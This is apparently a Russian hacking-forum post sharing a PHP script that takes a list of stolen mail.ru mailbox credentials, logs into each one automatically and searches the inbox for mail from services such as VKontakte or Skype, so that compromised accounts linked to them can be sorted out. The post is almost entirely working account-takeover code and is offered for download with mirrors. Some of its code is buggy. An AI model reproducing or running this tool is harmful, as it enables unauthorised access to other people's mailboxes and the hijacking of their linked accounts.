[PHP] Mails acc cheker by Gaus
Вот написал скрипт,который чеккает базу взломанных мыл на mail.ru(bk.ru,inbox.ru,list.ru) на наличие привязанности к различным аккаунтам (vkontakte.ru,skype.com,icq.com и т.д.).Скрипт "чеккает" поиском писем в ящике от заданного отправителя (odnoklassniki.ru,icq.com и т.п.)
Далее скрипт записывает мыла в 2 файла: с найденными акками и с ненайденными акками ;)
Вот собственно сам скрипт:
PHP код:
<?php
/* c0ded by Gaus */
/////////////////////////
$mails = 'mails.txt'; //Файл со сбрученныйми мылами(в формате mail;pass)
$fid = 'found.txt';//Файл с найденными аккаунтами
$fno = 'nofound.txt';// Файл с не найденными аккаунтами
$chek = 'vkontakte.ru'; //Что чеккаем(пример: vkontakte.ru,odnoklassniki.ru,skype.com)
////////////////////////
set_time_limit(0);
$lines = file($mails);
foreach($lines as $line) {
list($login,$pass) = explode(";", rtrim($line));
list($login, $domain) = explode('@', $login);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://win.mail.ru/cgi-bin/auth");
curl_setopt($ch, CURLOPT_REFERER, "http://win.mail.ru");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "User-agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "Login=$login&Domain=$domain&Password=$pass");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
$res = curl_exec($ch);
curl_setopt($ch, CURLOPT_URL, "http://win.mail.ru/cgi-bin/search?q_from=$chek&q_to=&q_subj=&advanced=0&qc_from=1&qc_to=1&qc_subj=1&q_folder=all");
curl_setopt($ch, CURLOPT_REFERER, "http://win.mail.ru/");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "User-agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
$res = curl_exec($ch);
curl_close($ch);
touch($fid);
touch($fno);
$fil = fopen( $fno , 'a' );
$file = fopen( $fid , 'a' );
$pos = strpos($res, 'Результаты');
if ($pos === false) {
ob_flush();
flush();
fwrite($fil, $line);
} else {
fwrite($file, $line);
}
}
fclose($fid);
fclose($fno);
?>
Также можно его скачать ;)
slil.ru
ifolder.ru
dump.ru
З.Ы. Мож где-то код и кривоват :)
|